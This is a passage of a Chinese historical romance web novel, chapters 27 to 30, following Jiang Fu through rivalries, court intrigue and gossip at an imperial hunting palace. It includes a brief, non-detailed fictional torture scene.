蒋芙倏地松手,车帘在眼前挡住。 和她担心的一样,几秒后,随着脚步声袭来,车帘被白明旭一把掀开:“蒋娘子,送你好玩的!” 蒋芙顺着他手看,是一个鲤鱼造型的物件。 她感到奇怪:“你送我东西干什么?” 白明旭明眸皓齿对她笑:“娘子不是跟我生气了吗?我来送东西赔罪。” 蒋芙沉默片刻:“我其实每天都跟别人生气,你不用这么在意,放着不管等我有事会去求你的。” 她刚破了面子跟张闵求和,眼下正是自我厌弃的时段。 白明旭把木头鲤鱼放到蒋芙手里:“娘子真会说笑。” 蒋芙看那只鲤鱼:“这是什么?” “哨子,娘子闲来无事吹着解闷玩。” 还挺有趣的。 蒋芙问:“将军对每个生了气的女子都会如此赔礼吗?” 白明旭道:“自然啊。” 她将哨子握在手里,微笑看他:“那你要小心以后找不到媳妇。” 白明旭来了兴致,扒着车窗不走了:“为啥为啥?我还真没媳妇呢。” 蒋芙道:“因为将军你没分寸,喜欢你的女孩看见你为人,再怎么喜欢都得考量考量。” 沈听南柔声笑了一下,插入他们的交谈:“将军莫要和芙芙一般见识,她幼时在家中无拘束惯了。” 蒋芙听她给自己兜底,便不再说了,摆弄手里的鲤鱼哨子。 白明旭倒是意犹未尽:“沈娘子莫要如此客套,同行一路,咱们几个可算朋友了!我是真心想讨媳妇的,向上又无长辈,好不容易有小娘子愿意提点。” “那个……芙芙!你再多说两句!” 骆岢咳了一声,放下刻本:“明旭,车不好一直在路中停着,手下人都在等你。” 白明旭笑看他,“哦”了声。 第27章 第 27 章 公子友人。 他在“哦”什么? 骆岢按在刻本上的手指微微蜷了蜷, 心头直冲一股烦躁。 蒋芙将哨子攥手里下车:“不吵公子了。既然将军一心向学,我教你一些,这小东西就当作学费了。” 白明旭最后看了骆岢一眼,从善如流:“多谢娘子啦。” 蒋芙离开以后, 车厢氛围极其压抑。 向来挑起话题的沈听南一言不发, 沉默盯她那双伤腿, 似乎在暗恨什么。 骆岢又翻了两页他的刻本, 将本子放到一侧, 也下了车。 没有蒋芙在,他与沈听南孤男寡女共坐一辆马车并不合适。 秋仿佛是一夜袭来的, 道旁的古树落了枯叶,景致一片萧索。队伍终于穿过了集镇,白明旭重新上马,蒋芙也折返,远远就看见骆岢在车旁漫步。 他身量在男子之间亦算高挑,人又清瘦,周身散发着空灵之感,路过的人都站在原地将他呆望成背影。 真是好大的排场。 蒋芙心想,他该庆幸身份高贵, 如果生在平常人家, 他不一定有沈听南好过。 如此想来, 她容貌中庸反而是一种幸运。 普通人,永远是最庞大、最安全的一个群体。 蒋芙上了车, 沈听南迎面笑盈盈瞧她,那笑意味深长,令她轻车熟路燃起怒火。 “沈听南,把你的嘴给我压下去。” “芙芙和白将军聊得可开心?” “关你什么事, 你那是什么笑?” “是恭喜芙芙回来的笑。” 骆岢再上车,撞见的就是这两人对峙的场面。 “滚,狗屁恭喜!你笑话谁呢?” “无缘无故,我怎会突然笑话你?” “我哪知道你犯什么病?别在这跟我装模作样,我不想跟你吵架也不想跟你打架!我已经一点都不想理你了!就算你对我有什么意见,也给我憋回去,这趟行程结束,咱们这辈子都不用见了!” “……” 恭喜个毛,以为谁都和她一样眨眼的功夫八百个心眼? 蒋芙厌恶瞪她,一把掀开车帘,和方才要上车的骆岢面对了面。 “让开!” 骆岢沉默侧身,给她让出下车的空间。 蒋芙跳下马车,猛然凑近他:“光风霁月的无双公子还偷听啊。怎么样,好听吗?你也喜欢听我说话?” 骆岢垂眸道歉,距离过近,他耳廓发热:“我并非有意……” 蒋芙毫无预兆拉住他手,故意给掀开车帘的沈听南看。 她低声威胁:“敢甩开我就告诉别人骆岢公子最喜欢偷听了!” 骆岢动作一僵,停在了挣扎的第一步。 沈听南目光冷幽盯他们牵在一起的手,姣美的面容褪去最后一丝温度。 车帘缓缓落下,蒋芙也将骆岢的手甩开,带头钻进了车,还做戏帮他撩了把车帘。 擦身而过,骆岢的肩饰勾到了蒋芙的发髻,兰花坠嵌入乌黑发丝中。 “啊!” 蒋芙歪头跟他动作,“你刮到我了!” 她低侧头瞪他,像在质问他是不是故意的。 骆岢尴尬地回手,想帮忙解,却牵动了肩饰,蒋芙吃痛:“你别动了!” 她喘了口气:“那个谁,沈听南,你过来帮个忙!” 沈听南低眸瞧她的暖玉镯,光照在上面映着明朗的泽润。 蒋芙还没清好的火气又上来了:“你听不见吗?过来帮个忙!” 摆弄镯子的手停下,沈听南声音柔软道:“我听见了。” “可芙芙不是说再也不理我了吗?这辈子都不用再见了吗?我以为要恩断义绝了,怎么现在又主动叫起我了?” 蒋芙沉默。 她用了重力气握住骆岢肩上坠的那条兰花链,硬将它从发髻里拽出来,扯断了好些头发。 疼的人是蒋芙,沈听南却率先落下眼泪,将头别开,再也不看。 一直到天黑歇脚,两人都未说一句话。 骆岢将肩饰卸下,收进匣子里,第二天衣着朴素地加入了骑马的队伍。 蒋芙趁着行车间隙一把抓住他袖子,小声道:“你给我坐回来!” 骆岢道:“为何?男女授受不亲,光天化日,娘子莫要拉拉扯扯。” 蒋芙另一只手也扯上去,袖子快要展平:“你坐回来!” “为何?” “坐回来!” 骆岢叹了口气:“娘子说了伤人心的话,不想去挽回吗?” “还是说,对娘子而言,总角之交的情谊也不过如此?” 蒋芙面无表情:“你是真的看不穿还是在跟我装?这事是我错了吗?是我先开的头吗?我有不分青红皂白找过你茬吗?为什么一发生这种事,所有人都觉得我错了?” 她将他袖子松开,往马车方向走。 骆岢追上去,回拉她的袖子。她穿了女子胡服,袖口很窄,隐隐约约碰到皮肤。 “我坐回去。” 他温声重复:“你别难过,我坐回去。” 蒋芙将他甩开:“我才不难过。” 骆岢回到了马车之中。然气氛压抑,他倍感煎熬。 就这样到最后一日,已经能看见皇家猎场,蒋芙背行李包下车,仰头找张闵在哪棵树上。 白明旭道:“娘子莫要着急走,杀手的事还没着落。” 蒋芙道:“你们在这,他们该杀就杀了,跟我没什么关系,我不能走吗?” 白明旭笑出声:“哇,不愧是芙芙,你真敢说啊。” “别那么叫我。” “哎,娘子,你之前不是还想见一眼公女吗?沁儿怎么说也是为了娘子才出逃的。” 蒋芙敏锐道:“你为什么跟我纠缠,有什么目的?” 白明旭揽她肩膀:“我这不是寻思有人想你留在这嘛。” 他说着,瞟了与宫人交涉的骆岢一眼。 蒋芙却会错了意,看到同方向和药童说话的沈听南。 “你喜欢自己去追!别想从我这找什么方便!再说最后一遍,你这么随便碰女生,等着独身过一辈子吧!” “不碰了不碰了!”白明旭连忙撒手,“娘子可不要胡说啊,明明是你喜欢他。” 蒋芙被他恶心到:“你才喜欢她呢。” “你喜欢他。” “你喜欢她!” “你喜……” 蒋芙无语:“幼稚!我要走了!” 白明旭抱臂笑看她背影,被张闵用目光“刺”了一下。 “芙姐!” 蒋芙脚步一顿。 她问张闵:“我幻听了?” 张闵道:“有人叫你。” “芙姐——” 声音越来越近,越来越响亮,蒋芙回身,刚好被香香软软的骆沁抱在怀里。 “沁儿找到你啦!” 蒋芙心中一甜,惊喜摸了摸她的后背:“沁儿?” “你……” 那边沈听南阴魂不散出现,拍拍手,叫小孩似的:“沁儿,快过来——” 骆沁于是像风筝一样飞过去:“听南姐!” 中途被亲哥掐断提线。 “骆沁,给我过来。” 骆岢极少外露过这般严厉的神色,因此骆沁一听到他的声音,脖子就往下缩了。 “哥哥……” “谁给你的胆子?谁给你的胆子让你从家里偷跑出来?” 他要气冒烟了,神情冷凝,便有着别样的美貌。 骆沁低头:“胆子自然是娘给的呀,哥哥不要问我这种问题,沁儿没见过娘,很伤心的。” “少卖可怜。”话是这么说,但骆岢显然较之前温和了一些。 “妹妹,以后万不可如此行事了。你想去哪里,大可与我或父亲言明,家里会安排你的行程。你何必独自冒险,你可知你要出了什么事,哥哥也活不下去了!” “哥哥……” 骆沁哭道:“沁儿错了,哥哥好好活着。” 骆岢拿她这副可怜样没辙,叹息着拿出帕子:“星星呢?” “在……在那边倒立着,说是向哥哥请罪……” 骆岢冷声道:“那便让她立着吧!” “呜啊!哥哥!你饶了我们吧!” “还哭?” “不哭了不哭了!” 蒋芙有些思念骆沁,没着急走,想着等骆岢训话结束跟她告个别。 没想到这一耽搁,那头又来了人。 魏如因跟在和她十分相像的男子身边,端着公主气派出场。 在场的人一愣,纷纷下跪行礼。 “拜见陛下!” “平身罢。” 天子笑看骆岢:“大老远就听到你的声音了,你妹妹那么可爱,怎么忍心骂哭的?” 骆岢恭敬回话:“搅扰陛下清净,还求陛下宽恕。” “好啊,你在我这边住一段时间,我就宽恕你。” 魏琪亲自将骆岢扶了起来,拍拍他肩膀:“有些日子没见,就当叙叙旧。” 骆岢并无官职在身,是个闲人,没有拒绝的理由,摆出感激的架势应声。 魏琪顺手摸了把骆沁的头,骆沁眼睛晶亮瞅他,他手顿了一下,又摸了摸。 “你的朋友们也都一起留下吧,远路而来,没有扫兴的道理。” 白明旭带头叩谢圣恩。 蒋芙跟着他们又是一拜。 骆沁安然无恙,杀手的事也像解决了,她在脑子里构思长安的图景。 天子离开,骆岢兄妹跟随。 蒋芙没了告别的机会,虽然遗憾,但也没什么执念。她收心和张闵一起往长安城的方向走,被羽林军拦住:“陛下有令,已为公子友人安排住处。” 蒋芙道:“你们认错了,我不是他友人。” 对方不为所动:“天恩浩荡,娘子不要不识趣。” 这些人训练有素,表情天衣无缝,看不出什么缘由。 她回头望白明旭,后者抱臂靠在他们来时的马车上,察觉她视线,对她笑着招手。 不对劲。 第28章 第 28 章 暗潮涌动。 “什么情况?” 蒋芙将白明旭拉到避人耳目的地方, 质问他们不能离开的原因。 绝对不会只是要留骆岢的朋友在长安游玩。 白明旭道:“还记得我托娘子办的事吗?” “记得。”他指的是金府的事,蒋芙正了正色,“和那个有关?” 他颔首,一贯轻松明快的脸上多了几分肃穆。 “恕我与娘子坦言, 此事关乎江山社稷, 事未了结, 娘子最好哪里也不去, 就待在长安城里。这也是陛下仁慈, 为娘子性命做的一份保障。” 蒋芙琢磨:“和郡公府有关?” 白明旭并不意外她想到这里,骆岢兄妹也被留在天子身边, 结合他提供的时局,此结论并不难猜。 但回答与否就是他的事了。 蒋芙只当他默认,如果她说错了,他不会是这种态度。 “打从一开始,公女夜逃是不是就是你们的布置?沈听南是你们的人?” “哎,不是。” “那便另有其人。”蒋芙冷笑一声,“我现在在别人眼里,估计都算是你们的人了。” 她顿了顿,算账一样:“洛城外的那些杀手, 也是你们的安排?” “不让我和张闵走, 是怕我们落在背后之人的手里招供出什么, 在你们准备好之前打草惊蛇?” 白明旭笑道:“娘子思绪缜密,令在下叹服。” 他不正面回答, 蒋芙便不知哪些推测是准确的,还好她不好奇,就是心里有点不舒服。 从金无尽事件结束,她渐渐察觉想从这场漩涡中脱身很难。 “我会死吗?” “怎会, 娘子不日便能得到封赏。” “我不要封赏,你们这个事我不想参与。” 白明旭无奈:“娘子,长安不好吗?” 蒋芙眼睛眨也不眨盯他:“白明旭,我当你是个好人、相信你才跟你问这么多。拜托你和我交底,真不能放我走吗?” 白明旭叹了口气,也拿出相应的真诚对她:“你走了会有危险,这次是真的。娘子可知,换做沈娘子或者其他人,他们就不会着急脱身,而是把握住这次在圣上面前露脸的机会,再做一些别的什么事。” 蒋芙道:“可我不想时时刻刻拿命去冒险,你给我指一条明路。” 白明旭遗憾道:“不冒险便守成,你就当自己什么都不知道,安心享受公子友人的待遇吧。” 他想了想,笑道:“还有,公主面前,就别和沈娘子吵架了,心里郁闷就多和公女在一起玩玩,沁儿还挺喜欢你的。” 结束与白明旭的对话,蒋芙身心俱疲地找到张闵。 “走不成了,先听从安排住下吧。反正咱们也约好要在长安玩几天的。” 有地方免费吃住,多留一段时间不是不行。 反正她是真的什么都不知道,她对于整件事,就像金府的下人对金无尽的所作所为一样,只知道其中手法,不知背后隐情和最终目的。 总之就是皇权与某种力量的抗衡。 洛城的郡公府在长安有据点、训练有素的鹰与军队,可以称之为一个不属于天子的特务机构。就算没有金无尽事宜牵扯,天子也该早就在心里忌惮。 将郡公一双儿女扣在长安,就有威胁的隐喻,只看郡公是白明旭所说关乎江山社稷的大事中的哪一环了。 不过那些与蒋芙都没太大关系,她不具备穿越者的优良素养,所以也不去奢望不符合实际的雄心壮志。能在这个时空活到寿终正寝,就是她的成功- 正值天子秋狩,祭祀先祖。 魏琪没在猎场玩够,还不想回大明宫中。骆岢来了,他便在猎场附近的华清宫设宴款待。 蒋芙暗中观察,天子对待骆岢与在洛城时并无分别,依旧是调侃里带着深厚的宠信,看不透是装的还是真心的。 沈听南到宴以后便随魏如因落座,同席之人还有与蒋芙有过救命之恩的文王。 想到这里,蒋芙睨了沈听南一眼。对上视线,两人都没有闪躲,隔着席位长久注视着彼此。 其实小时候那段时间,她和沈听南是真的相处不错。 沈听南早慧,蒋芙与她相处比和同龄小孩相处轻松,说什么她都懂,还很聪明,能把她随口提的事办得很漂亮。 如果当时沈听南肯为她背后说的那些贬低之辞向蒋芙道歉,说她跟她姐妹那么说是为了面子,蒋芙会原谅她的。当时不原谅,后来也会原谅。 沈听南无作为,可能觉得没必要吧。何必为了一个没出息的蒋芙浪费自己的尊严。 断也就断了,蒋芙不是想不开,她自己在原来世界也不是没有断联过的朋友。 可断了以后,先是张闵,后是母亲。沈听南在她的生活里处处找晦气。 她就是瞧不起自己,蒋芙清楚,沈听南肯定自以为谁能跟她做朋友就是恩赐谁,蒋芙凭什么生她的气,几句话而已,应该懂事装作什么都没听见,若无其事相处下去,哪来的资格闹翻? 于是她夜以继日地纠缠不休。 可真的遇见大事,她是能像正常的朋友一样拉蒋芙一把的。 蒋芙自问,如果是沈听南遭遇了那些,她会出手相助吗? 答案鲜明。她没她那么多的人脉,但总归不会眼睁睁看着她死。 所以这算什么。 同样恩断义绝的话,蒋芙这些年来说过无数次。怎么就这一次她反应这么大?还不是有骆岢在场,她想演绎重情重义的人设。 这样相持也好,免得在别人面前,她还要假惺惺凑过来表达亲昵。 最好是借着这次情绪,她们真的恩断义绝,再也别见了。 男女同宴,骆岢自然坐在骆沁上位。蒋芙所在的地方便仿佛有群狼环伺,视线盯得人吃不下饭。 骆沁瞧出了蒋芙的疲惫,左右看看,拉着蒋芙起身。 “陛下,你和哥哥好好聊啊,沁儿去外面透透气!” “去吧,叫护卫跟着。” “多谢陛下!” 蒋芙跟着行礼告退。刚一出门,扑面而来的秋带着清凉的气息,胸口沉积的憋闷随风消散。暗蓝色的暮前,骆沁用脱离她年龄的成熟与宫人交涉,回来欢欢喜喜牵蒋芙的手。 “芙姐,我们去围园看小鹿呀。婴儿大小,被洗得可干净啦,乖巧又听话!” 她说得绘声绘色,蒋芙也被感染了情绪,捋了下被风乱吹的发丝:“好啊。” 她们在宫人的引路下往围园的方向走,一路都是骆沁甜软的声音,她跟蒋芙报备来了长安这边都做了什么。 蒋芙听着,心又沉了下去。 如果洛郡公真的在阴谋里担任了一个不小的角色,天真烂漫的骆沁,下场又会如何? 黑蒙蒙的时候,蒋芙抱到了那只乖乖听话的小鹿。它浑身毛茸茸的,还没有鹿的样子,现在看起来像只小猪。 “好可爱!” 蒋芙兴奋地呼出声来,用脸去贴小鹿的头和后背。 骆沁看她喜欢,也美滋滋开心。 “芙姐,这边还有一只小老虎呢!” 宫人在墙边点上了灯,就着灯光,蒋芙依次看了老虎、豹子、狐狸的幼崽。 她没问哪来这么多幼崽,显而易见,是天子及近臣狩猎过程中掠夺的。 蒋芙问:“沁儿,你喜欢父亲还是兄长?” 骆沁嘿嘿笑:“我都喜欢啊。” 蒋芙便不再说话。 告诉她有什么用,自己所知也非全貌,惹出了事端要比所有人死得容易。 骆沁搂她手臂:“那芙姐喜欢沁儿还是哥哥呀?” “当然是你。” “呀,沁儿也喜欢芙姐。芙姐,你要是给沁儿做嫂子就好了。哥哥大了,我想把他嫁给你呢。” 蒋芙笑脸淡了几分:“这还是算了,我怎么配得上公子,能被你叫一声芙姐我就很开心了。” “芙姐这些日子变了好多。” “我也在长大啊。” 骆沁让宫女把小狐狸放回窝里去,两人漫步往回走。 “沁儿也长大了。” “是啊,长高一些,才过去多少日子,真快。” “沁儿也有喜欢的人了。芙姐,怎么办呀。” 蒋芙还浸在轻松的闲聊中,骤然听到这句话,脚步一顿,惊讶看骆沁的神情。 她眉眼静美,已有了少女思慕的情态。 是不是太早? 蒋芙反应过来,她在这里的年纪也没到十六,却是成年的资历了。 她总是忘记年龄,或者说身边的人都看不出年龄,唯有骆沁保留了孩童的纯真,让她能把她当作孩子看待。 然而大户人家十一二岁已经开始议亲了。 蒋芙没有打听是谁,有随行的宫人及护卫,最好不要谈太深的东西。 “沁儿打算怎么办?” “唔……不敢跟哥哥说,也许就憋在心里一辈子了吧。” 骆沁抬眸看蒋芙,眸色比月色温柔。 “所以我好敬仰芙姐,喜欢哥哥,就做了喜欢哥哥要做的事。你那样赤诚,所有人看了都想成全你的。” 实际上,是所有人看了都想笑话她才对。 蒋芙没有否定她,而是拉住她的手,说:“有意中人是很好的事,也不用非嫁给那个人不可,可以先谈恋爱试试。” “谈……恋爱?”骆沁咀嚼这几个字,“好热情的话,我脸都要红啦。” “你先看看他的意思,如果也喜欢你,你就也告诉他你的心意。你有所顾及,那人必定也有考量,能被你喜欢的人,定然不会叫你难做。先将情意通了,没事拉拉小手,聊聊天,都是无伤大雅的事,你心情却会好很多。” 第29章 第 29 章 幕后风云。 路的后半程, 骆沁静静思索,已然将她的话听进去了。 回至宴外,人都散了,骆岢手里搭着骆沁的披风, 到跟前给她披上。 蒋芙住处与郡公府的人分在了一起, 默认一同归程。 张闵不在, 他被白明旭找去不知做什么, 事先征求过她的意见。因为在天子的地盘上, 又有那么多大人物在,不可能有人想对她动手, 所以她答应得很痛快。 而且张闵能交到朋友是好事,白明旭也算个好人,只要他不撬她墙角,一切都好商量。 风一股股的凉,蒋芙忍着没抖,到底瑟缩了下。 骆沁看在眼里,要求哥哥:“你把披风给芙姐穿嘛。” 骆岢看了蒋芙一眼,她本就瘦小,萧瑟的夜风里更显脆弱。 他耐心教导:“男女有别, 衣物不可随意混穿。你若担心, 就将你的披风给娘子, 哥哥的披风给你穿。” 骆沁自然应声。 蒋芙微笑着接受了骆沁的好意。 然而骆沁却用骆岢的披风裹住了她们两个,将她的披风给了哥哥:“怎能让哥哥一人受冻啊。” 虽未明言, 但被小姑娘拢进带有清淡兰花苦香的披风里,承接到前人的温度时,蒋芙就明白了她的用心。 哪怕无法两情相悦,能这样错位挨着喜欢的人一下, 心里也会好受些。 这是真正动情过后,少女独有的情思。 蒋芙感到暖心,除此以外,还有庆幸。 还好她不喜欢骆岢,不然人生要比现在还苦。 不过,骆沁到底喜欢的是谁啊? 这天夜里,蒋芙睡得很早。 但有些人没有睡。 沈听南以赴公主约的名义等在芙蕖湖畔,她披一件青白色的斗篷,无人之时眉眼冷淡无情。 身后传来带着病气的咳嗽声。 她顿时像从画中活过来的仙子,面容柔情款款,回身朝文王行礼。 魏璟回以笑:“许久不曾见娘子了。” 沈听南但笑不语,做出一副女儿家羞涩的姿态,不动声色与他隔开了距离。 魏璟又咳了一阵,拿帕子抵住口鼻。 他声音虚弱:“娘子近来可是有烦心事?” 沈听南摇头:“殿下为何如此发问?” “自然是想为你排忧解难。” 沈听南心中哂笑,谁能解她的忧,她的难。 “我是娘子的难处吗?” 她指尖一颤,冷不丁抬眸,便对上那双独属于皇家的凌冽凤眼。 “殿下是我的……好处。” 魏璟笑了笑,笑意消散,眼中有些忧伤。 “我知你心意,不会强求你。本也无多少时日可言,死后又没有能庇护你的钱权,我不会硬拉你受苦,断你的前程。” 沈听南沉默看他,也许是近日变故堆积,让她对假面的存在感到疲惫。听到这些剖白的话,她笑不出来。 骆岢到底为什么会被蒋芙打动? 文王又为何会喜欢上她? 举案齐眉,名垂青史,一世富贵荣华的期愿终究飘远了。她处处做到最好,几乎拼尽全力,为什么还要落得这个下场? 是她错了? 她当初不该招惹蒋芙,让她们之间结下梁子,以至于后来被搅乱所有计划。是吗? 但。 沈听南苦笑:“殿下说什么呢,是听南身份低微,无法与殿下相配。” 魏璟与她隔得不近,很有礼数分寸,是她的倾慕者里最安分、听话的一个。按常理,能嫁进天家便是举世难求的福分,但这人许不了她未来。 她的人生必须算计着过,才能一天一天过下去。 她和蒋芙不一样的。 猎场外百里,白明旭抖了抖嫣红裙摆,一脚踩上伏地之人的脊背,笑嘻嘻道:“爷美吧?” 那人用力挣扎:“你这杂种!你是什么人?你知道我是谁吗?” “咻”的一声,一把青铜空心剑刺进他头顶的石板,几乎贴着他的发冠。那人就此住嘴。 白明旭赞道:“好剑。” 踩得力度加大:“你也好贱,崔七郎。这么喜欢人妻?街上走过一个挽着男人胳膊的姑娘你就抢?还摸我屁股!” 他踹了几脚,解气了把人拎起来,搭了张闵的肩膀:“走,审人去。” 张闵不动:“事已办成,我先走了。” 白明旭连忙叫住他:“你走什么啊,功劳在后头呢。” “不用。”说话的功夫,人已经窜出去老远。 白明旭在原地愣了会,笑开,叫出黑暗中的手下一道把人领走。 这世上还真有饭端到嘴边不吃的人。蒋娘子与张闵,这两人都挺死心眼的,有什么不敢的呢,胆子不大,如何成家立业? 将崔七押入刑房,白明旭转了转手腕,坐在侍从及时呈上的椅子中。 再抬头,人已经被架起来了。 崔七郎双目赤红,快要冒火,灯光下认出了他们:“白明旭!你快把我放了!你……!” 刑具用上,他再没空放狠话,光顾着声嘶力竭地惨叫。 “你爹给你的东西在哪?” “啊!!——什么、东西?” “送往洛城的手信。” “没有!没有那种东西……啊!” “嘴真硬,拿针来。” “啊!!——” 蒋芙半睡半醒,听到外面有许多鸟在扑腾。 应该是被什么东西吓着了,毕竟这是皇家猎场,有许多野兽。 她转了身,往上提了提被子继续睡,明日还要陪在骆沁身侧,有许多人来寒暄,总得打起精神应对。 朦胧间有人来她床前,将她忘摘下来的簪子拆了放在枕边。 不用睁眼,她也知道这人是谁。 “你回来了?” “嗯。” “你们玩什么了?” “抓人,打护卫。” “唔……”蒋芙伸胳膊晃了晃,在半空中摸到他递来的手。 “我就知道白明旭看上你了,想让你跟他卖命,背着我给你好处。你不可以跟他走……不对,你可不可以不跟他走?” “我不会跟他走。” 得到他肯定的回答,蒋芙安心笑了,松了手。 “谢谢。你早点睡吧,我也要睡了……” 上次闹脾气以后,蒋芙比过去温柔很多。 但张闵感觉到了 ,她在一点点疏远自己,从他的身边走开。 无碍。 他想,她就算离开,他也可以跟着她,保护她安全,这一点没变,并没有什么值得在意- 翌日,天子带金吾卫去猎场狩猎,贵族男女随行。 蒋芙不会骑马,主动留下。原本准备了一肚子的话劝骆沁不用管她,尽管去玩,结果没用上,骆沁很抱歉地一步三回头,跟在她哥哥身边离开了。 于是她就成了一个人,回房间睡了个回笼觉,出去晒了晒太阳。 跟随的侍女带她在华清宫里闲逛,每到一处建筑,蒋芙就问侍女来历,像去了景点旅游似的。 逛得久了,蒋芙体力跟不上,侍女主动为她找茶水,她就坐在湖边的亭子里歇脚。 不远处便是那晚骆沁带她去的围园,她打算侍女回来以后再去那里看看小鹿和小老虎。正想着,便见有女眷从那头被宫人们簇拥着出来。 女生多的时候娇笑起来是很好听的,蒋芙与她们不熟,也不太想招呼着说话,便将头转向湖水那边。 她看到了湖旁的石碑,这湖叫“芙蕖湖”,刚好她叫蒋芙。 “呀……” 声音响在附近,蒋芙后背一僵,到底躲不过了。 她换了张笑脸,也装作惊讶地回头,站起身:“是我失礼,见过诸位娘子。” 女孩们纷纷回礼。 “好客气的人,我在公女身边看见过你,你是哪家的娘子?” 蒋芙道:“我爹去世了,如今已算不上官身,因之前做过公女伴读,才有今日游玩之幸。” 听她说完,同行贵女心里对蒋芙身世有了衡量。能给洛郡公的女儿做伴读,应是洛城本地的书香门第,纵然如今零落,也是可敬的。 带头的女孩找了地方坐下:“今日碰见便是有缘,多少人随着陛下狩猎去了,独我们留在这芙蕖湖畔,不妨就在一起聊天,娘子以为如何?” 蒋芙自然答应。 她挨得离蒋芙近些,一帮人闲谈了几句风雅,归到正题。 “娘子,你给公女做伴读时,是不是时常能碰见公子?” “我没做几天伴读,家里就出事离开了,并没时常碰见过。” 她这样说,几个围着她的女子反而露出满意的神色。蒋芙到此看出,这些人围着她并不是她看着有多友好、多值得结交,她们都是为了骆岢才在这与她周旋的。 “娘子,公子可与你说过什么话?他说话时会看着你的眼睛吗?对视时是什么感觉?” 蒋芙道:“说过几句,说话时他会看你的眼睛,感觉倒没什么。” “那娘子第一次见到公子的时候呢?什么心情?” 蒋芙回想了一下。她第一次看到骆岢觉得他很能装,但这个说了她们一定会生气。 “没什么心情,也许和娘子们心情一样。” “娘子是不是可以随便和公子说上话?” “能,这几天抬头不见低头见的。你们有什么事要帮忙,都可以找我。” 几个女孩便脸红了。 “不成,我听说过,公子从不收女子东西的,有时候示弱在他那都没用。” “对,我之前淋了雨,他刚好在,都不肯说一句伞给我用。” 蒋芙感到奇怪。骆岢原来这么吝啬,那她们喜欢他啥? 第30章 第 30 章 无妄之灾。 身侧女子看出她在想什么, 手帕遮嘴朝另一人笑。 “娘子若以为公子小气便错了,他是不想平白给女子希望,让我们年华虚度呢。” 蒋芙配合笑笑,心中不以为意。 长相好的人, 总会比普通人收获更多善意和耐心。但实际上, 骆岢很有可能只是懒得处理那些恋慕他的女子带来的麻烦, 所以在最初就不去给幼苗破土的机会。 不知几炷香的时间过去, 女孩们的话题还在围绕骆岢延申。 “我觉得做兄长的男子都会呵护人。” “是啊!我阿兄就天生知道要珍惜女子, 对我嫂嫂可好。” “公子是不是对小沁很好?我都看见了,处处关怀备至, 如果小沁不是他妹妹,我一定嫉妒死了。” 蒋芙答:“的确很好。” 不管为人如何,骆岢对妹妹确实没得挑。 “真不知道往后哪家的女子有这般福气。” “他最好不娶妻了!” “你真坏哈哈。” “这次没见成公子披发。”她对蒋芙说,“你不知道,公子披发堪称倾国之色,犹如春风拂嫩柳,绿意韧摇绕……” “绵姐姐好诗啊!” “好诗好诗!我回头要找纸笔誊下来!” “好遗憾,我还没见过!公子为什么不半披发了?是年长的缘故吗?” 蒋芙心想:他就是因为臭美,半披着头发, 才被杀手砍断一半, 现在长短不齐, 哪好意思再在人前展露。 “公子也不知配的什么香。” “是!我就忘不了那香,恨不得陛下天天摆宴, 哪怕从他身边经过说不上一句话,我也想沾沾他身上的味道。” “除了公子身上,我再没闻过那种兰香了。” 女子们各自遗憾怀春,一阵沉默。 蒋芙填补空白:“你们可以问问他怎么调的, 不就搭到话了?” 女孩们羞涩:“娘子,香乃隐秘之物,怎能随口问不相干的异性呢。” 蒋芙梗了一下。 原来他们这时候的人还真有这种讲究,上次听到这般辩论还是骆岢讲给她的。 微微出神,亭下有脚步声经过。亭里的女孩子们热切与她们招呼,极其热闹:“公主殿下!沈娘子!来和我们一起聊天啊!” 沈听南在明光下抬头,柔柔对她们一笑,随后眸子定格在蒋芙身上,停顿得久了,显得别有意味。 蒋芙看到身边的侍女端着茶水在不远处踌躇,便站起身:“我的侍女在等我,先与诸位告辞了。” 她旁坐的女孩有些不舍:“这就走啦?” 她还有更多有关骆岢的话想说。女子的暗恋,似乎只要有一个与他相关的人在场就会感到幸福。 蒋芙笑着行平辈间辞别的礼。 沈听南已随在魏如因身后步入亭中。 她笑:“怎么我来了,芙芙就要走呢?” “……” “芙芙?沈娘子与这位小娘子相识?” 沈听南微微一笑:“我们算是从小一起长大的呢。” 几人纷纷惊讶:“竟有这般缘分,我们碰见了沈娘子的手帕交。” 魏如因瞥了蒋芙一眼,目光轻蔑:“手帕之交,可不是认识就算数的吧?” 蒋芙恭敬道:“公主说得是,并不算,只是邻里之间说过几回话,认识罢了。” 认识罢了。 沈听南顷刻抬眸,震惊过后,恨意自眼底层层涌出。随后眨了下眼,睫毛之后,一切如烟消云散般收敛起来。 她微笑道:“刚刚娘子们在说什么?好生热闹。” 与蒋芙表现得最为熟稔的那个女孩仿佛看不出她们之间的纠葛般:“我们在聊公子,佳人与花与月,亘古不变的风雅趣事,随时说起来都有话聊。” 这是她的小小幽默,沈听南配合着浅笑一下。 女孩道:“芙芙娘子却与我们不同,她对骆岢公子毫无兴趣一般,聊起什么都大胆直率,很是令我等钦佩呢。” 调笑之辞,必然不是真的钦佩。可沈听南还是意外地看了蒋芙一眼。 “芙芙……对公子毫无兴趣吗……呵呵……是这样啊……” 她还是那么文雅,装蒜的笑。这个表情、语气,都像是骆岢做得出来的,她要比骆沁更像他的妹妹。 那位娘子的笑定了定,疑惑沈听南的奇怪表现。 连魏如因都诧异地瞧着蒋芙。 蒋芙后知后觉,她曾经在这两个人都在场的情况下对骆岢表白过。 “……” 魏如因道:“你不是喜欢骆岢喜欢到非他不可、嫁不到他就要出家做姑子的地步吗?” 先前与蒋芙聊得欢快的女孩们表情都怪异起来。 “殿下,能详细说说吗?” 蒋芙暗道不好,想走,却在魏如因的逼视下不敢动一步。 “我阿兄月前去的那趟洛城,蒋芙也在,她当着那么多人的面亲口对骆岢表白了心迹,我阿兄还跟我称赞了她。听说之后这人被骆岢亲自找去了家里做伴读,我还以为她要给公子岢做妾了,结果——” 一切尽在不言。 那位出头的娘子脸上再无笑意,全是冰冷的愤怒。 “竟有这样的事,好不要脸。” “蒋娘子,你今日又是做什么?隐姓埋名愚弄我们吗?” 女子带头走了,其他女孩紧随其后,都没什么好脸色,经过蒋芙时用余光瞪她。 蒋芙一直都在沉默。 她没有辩解,毕竟魏如因没冤枉人,她说的是自己真实做过的事。 见蒋芙被方才其乐融融聊天的女孩们厌弃,魏如因眼中带了愉悦的笑意。 “蒋芙,蒋娘子,以后可不要这么骗人玩了。” 蒋芙下跪行礼,跪她的权力:“殿下,我能退下了吗?侍女还在等我。” 魏如因轻蔑挥了下手,让她离开。 望着蒋芙略显狼狈的背影,她邀功般看向沈听南:“自作自受……” 沈听南的泪却在眼眶里打转,眼神迟滞,薄唇轻轻颤动。 